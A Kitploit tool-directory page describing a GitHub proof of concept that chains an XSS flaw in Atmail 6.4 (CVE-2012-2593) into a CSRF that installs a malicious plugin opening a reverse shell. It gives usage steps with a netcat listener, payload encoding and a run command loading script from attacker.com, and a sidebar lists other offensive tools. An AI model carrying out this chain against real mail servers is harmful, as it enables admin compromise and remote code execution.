Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2012-2593 — Atmail XSS-CSRF-RCE Exploit Chain | Kitploit
Tools/GitHubGitHub/andrewtrube/cve-2012-2593
Exploit FrameworksPayload GenerationExploitationShellcodeWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubandrewtrube/cve-2012-2593

CVE-2012-2593

Atmail XSS-CSRF-RCE Exploit Chain

View Repository
424 years agoNot yet reviewed
Share

Atmail XSS-CSRF-RCE Exploit Chain PoC

atmail-rce.py: Exploits CVE-2012-2593 in Atmail's webmail interface.

atmail-csrf.js: Javascript file which leverages CVE 2012-2593 into a CSRF to install a malicious plugin which executes a reverse shell

Plugin.php: Atmail plugin to be installed which calls a reverse shell

!!Only use against servers on which you have permission to test

Summary

Atmail email server version 6.4 has a XSS vulnerability in both the Date email header and the Email Body (via iFrame injection). This is leveraged into a CSRF using the javascript XHR api to send a request with the admin user's cookie to the admin webpanel, installing a malicious Plugin which executes code for a reverse shell.

Proof of Concept

  1. Start a netcat listener nc -lvp 4444
  2. Open Plugin.php and change the IP address and Port to that of your netcat listener
  3. compress Plugin using gzip and encode in base64 gzip -c Plugin.php | base64 | tr -d [:space:]
  4. Copy and Paste the above output into the atmail-csrf.js data variable
  5. Run the atmail-rce.py script python3 ./atmail-rce.py -u attacker@localhost -r admin@localhost -x http://attacker.com/malicious.js -t http://atmail.com/
  6. Wait until the admin user logs into their email

Caveats

  • Only works if target of XSS is an admin user of Atmail
  • Only works if target is signed in to both the webmail interface and the admin interface of the server
  • Only works if plugin installation is allowed on the server (on by default)
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    717
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    504
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    402
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    342
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259

Explore all tools

Browse our collection of tools

View all tools →